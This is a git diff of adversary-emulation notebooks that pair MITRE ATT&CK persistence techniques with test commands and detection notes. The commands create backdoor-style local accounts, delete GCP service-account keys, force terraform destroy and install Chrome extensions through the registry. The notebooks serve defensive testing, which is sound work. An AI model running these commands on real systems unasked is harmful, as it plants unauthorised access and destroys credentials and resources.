"```sh\ngcloud config set project atomic-test-1\nKEY=`gcloud iam service-accounts keys list --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --format=\"value(KEY_ID)\" --limit=1`\ngcloud iam service-accounts keys delete $KEY --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --quiet\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fe57283d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "b5d97341", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ncd \"$PathToAtomicsFolder/T1098/src/T1098-17/\"\nterraform state rm google_service_account_key.key\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "35068e9c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 17 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d594f573", "metadata": {}, "source": "## Detection\nCollect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)" }, { "cell_type": "markdown", - "id": "06f1491e", + "id": "9b64ba3e", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can implement monitoring to alert if a user account is altered outside normal business hours, from remote locations, etc.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -399,13 +661,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1100.ipynb b/playbook/tactics/persistence/T1100.ipynb deleted file mode 100644 index 1979cbe5..00000000 --- a/playbook/tactics/persistence/T1100.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4ad7283f", - "metadata": {}, - "source": "# T1100 - Web Shell\nA Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed." - }, - { - "cell_type": "markdown", - "id": "cca95055", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "67a4d9f0", - "metadata": {}, - "source": "## Detection\nWeb shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1101.ipynb b/playbook/tactics/persistence/T1101.ipynb deleted file mode 100644 index d8252bfc..00000000 --- a/playbook/tactics/persistence/T1101.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "672210f0", - "metadata": {}, - "source": "# T1101 - Security Support Provider\nWindows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)" - }, - { - "cell_type": "markdown", - "id": "dded557e", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e179df00", - "metadata": {}, - "source": "## Detection\nMonitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1103.ipynb b/playbook/tactics/persistence/T1103.ipynb deleted file mode 100644 index bf22877e..00000000 --- a/playbook/tactics/persistence/T1103.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "31516216", - "metadata": {}, - "source": "# T1103 - AppInit DLLs\nDynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)" - }, - { - "cell_type": "markdown", - "id": "04ca2d69", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "216cf728", - "metadata": {}, - "source": "## Detection\nMonitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1108.ipynb b/playbook/tactics/persistence/T1108.ipynb deleted file mode 100644 index d30ce434..00000000 --- a/playbook/tactics/persistence/T1108.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "84a92a0d", - "metadata": {}, - "source": "# T1108 - Redundant Access\n**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server." - }, - { - "cell_type": "markdown", - "id": "be2f6b05", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a3abf71c", - "metadata": {}, - "source": "## Detection\nExisting methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1109.ipynb b/playbook/tactics/persistence/T1109.ipynb deleted file mode 100644 index 3196627f..00000000 --- a/playbook/tactics/persistence/T1109.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "22993a76", - "metadata": {}, - "source": "# T1109 - Component Firmware\nSome adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks." - }, - { - "cell_type": "markdown", - "id": "67986b50", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "27011f52", - "metadata": {}, - "source": "## Detection\nData and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1122.ipynb b/playbook/tactics/persistence/T1122.ipynb deleted file mode 100644 index ce3747cf..00000000 --- a/playbook/tactics/persistence/T1122.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0df2f727", - "metadata": {}, - "source": "# T1122 - Component Object Model Hijacking\nThe Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection." - }, - { - "cell_type": "markdown", - "id": "854d8d41", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "3ff1dc0d", - "metadata": {}, - "source": "## Detection\nThere are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1128.ipynb b/playbook/tactics/persistence/T1128.ipynb deleted file mode 100644 index f4dc393f..00000000 --- a/playbook/tactics/persistence/T1128.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "31fd292f", - "metadata": {}, - "source": "# T1128 - Netsh Helper DLL\nNetsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)" - }, - { - "cell_type": "markdown", - "id": "683135e4", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0758ecbc", - "metadata": {}, - "source": "## Detection\nIt is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1131.ipynb b/playbook/tactics/persistence/T1131.ipynb deleted file mode 100644 index 64589f30..00000000 --- a/playbook/tactics/persistence/T1131.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0143dbcd", - "metadata": {}, - "source": "# T1131 - Authentication Package\nWindows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded." - }, - { - "cell_type": "markdown", - "id": "82b42a2d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "530ad3f5", - "metadata": {}, - "source": "## Detection\nMonitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1133.ipynb b/playbook/tactics/persistence/T1133.ipynb index 1240a07c..30bbe5b5 100644 --- a/playbook/tactics/persistence/T1133.ipynb +++ b/playbook/tactics/persistence/T1133.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "d1274957", + "id": "96e1b209", "metadata": {}, "source": "# T1133 - External Remote Services\nAdversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)" }, { "cell_type": "markdown", - "id": "4a212651", + "id": "a34c1035", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7238f278", + "id": "13238177", "metadata": {}, - "source": "### Atomic Test #1 - Running Chrome VPN Extensions via the Registry 2 vpn extension\nRunning Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.exe https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe\nStart-Process $env:temp\\ChromeStandaloneSetup64.exe /S\n\n```" + "source": "### Atomic Test #1 - Running Chrome VPN Extensions via the Registry 2 vpn extension\nRunning Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.exe\" https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.exe\" /S\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "452d9146", + "id": "2da11d22", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1133 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b1fe646b", + "id": "441c4331", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,34 +38,34 @@ { "cell_type": "code", "execution_count": null, - "id": "f5dfdba3", + "id": "548b1b11", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1133 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8647a81d", + "id": "2974d77d", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$extList = \"fcfhplploccackoneaefokcmbjfbkenj\", \"fdcgdnkidjaadafnichfpabhfomcebme\"\n\nforeach ($extension in $extList) {\nRemove-Item -Path \"HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension\" -ErrorAction Ignore}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f54c732e", + "id": "91c258f9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1133 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ff15a0f7", + "id": "df75c4a2", "metadata": {}, "source": "## Detection\nFollow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application." }, { "cell_type": "markdown", - "id": "2dbdb2e8", + "id": "8e6d45e2", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to determine if an adversary already has valid account credentials for your network and if they are trying to use them access your network via remote services.\n#### Use Case\nA defender can setup a decoy VPN server and see if an adversary attempts to use valid account to authenticate to it.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1136.001.ipynb b/playbook/tactics/persistence/T1136.001.ipynb index b2409a68..d5940ca9 100644 --- a/playbook/tactics/persistence/T1136.001.ipynb +++ b/playbook/tactics/persistence/T1136.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d4f43aa3", + "id": "c680a442", "metadata": {}, - "source": "# T1136.001 - Local Account\nAdversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system." + "source": "# T1136.001 - Local Account\nAdversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system." }, { "cell_type": "markdown", - "id": "5889e958", + "id": "49bf909e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "68291038", + "id": "965087f6", "metadata": {}, "source": [ "### Atomic Test #1 - Create a user account on a Linux system", @@ -28,31 +28,66 @@ { "cell_type": "code", "execution_count": null, - "id": "cebd28bc", + "id": "8c0e5c91", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1de474fb", + "id": "fc2687bf", "metadata": {}, "source": "#### Cleanup: \n```bash\nuserdel evil_user\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0535d7db", + "id": "b8c68c47", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7b2c5352", + "id": "ba0097b1", "metadata": {}, "source": [ - "### Atomic Test #2 - Create a user account on a MacOS system", + "### Atomic Test #2 - Create a user account on a FreeBSD system", + "Create a user via pw\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npw useradd evil_user -s /usr/sbin/nologin -d /nonexistent -c evil_account\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d52ecd11", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "9a39017e", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrmuser -y evil_user\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58ff060c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "c3466be6", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Create a user account on a MacOS system", "Creates a user on a MacOS system with dscl\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -63,31 +98,31 @@ { "cell_type": "code", "execution_count": null, - "id": "9e007794", + "id": "fe1b4c18", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "b03bb949", + "id": "b058a2fa", "metadata": {}, "source": "#### Cleanup: \n```bash\ndscl . -delete /Users/evil_user\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e77bcbc5", + "id": "93278f87", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "54b870ef", + "id": "fbcb7fb2", "metadata": {}, "source": [ - "### Atomic Test #3 - Create a new user in a command prompt", + "### Atomic Test #4 - Create a new user in a command prompt", 